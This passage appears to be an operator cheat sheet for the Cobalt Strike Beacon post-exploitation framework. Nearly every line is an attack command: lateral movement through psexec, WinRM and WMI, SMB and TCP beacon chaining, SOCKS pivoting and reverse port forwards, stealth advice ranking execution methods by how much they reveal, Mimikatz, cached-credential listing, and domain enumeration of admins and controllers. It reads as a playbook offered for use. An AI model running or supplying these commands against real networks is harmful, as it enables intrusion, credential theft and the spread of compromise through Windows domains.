jump psexec_psh TARGET listener       # no EXE drop

# Remote exec (no new session)
remote-exec winrm TARGET "command"
remote-exec wmi TARGET "command"

link TARGET                           # SMB Beacon
link TARGET \\.\pipe\custom_pipe      # SMB with named pipe
connect TARGET <port>                 # TCP Beacon
unlink TARGET <beacon_PID>           # disconnect (doesn't kill)

socks 1080                            # SOCKS4a
socks 1080 socks5                     # SOCKS5
socks stop
rportfwd <bind_port> <fwd_host> <fwd_port>
rportfwd stop <bind_port>

# Best to worst OPSEC:
inline-execute bof.o [args]           # in-process, no spawn
powerpick Get-Process                 # no powershell.exe spawn
run net user                         # no shell
shell whoami                          # cmd.exe (avoid)
powershell Invoke-Mimikatz            # powershell.exe (avoid)

# From console
inline-execute /path/to/bof.o [args]

# Popular BOF tooling (install separately)
# TrustedSec SA-BOF, OutflankNL CS-Remote-Ops-BOF

shell tasklist /v
shell net user /domain
shell net group "Domain Admins" /domain
shell net group "Domain Controllers" /domain
shell wmic os get caption,version
shell wmic product get name,version
shell wmic process list brief
shell netstat -anop TCP
shell cmdkey /list                           # cached credentials
shell reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
shell dir C:\Users\ /b                       # list user profiles
powerpick Get-ADUser -Filter * -Properties * | Select Name,SamAccountName,Enabled
powerpick Get-ADComputer -Filter * | Select Name,DNSHostName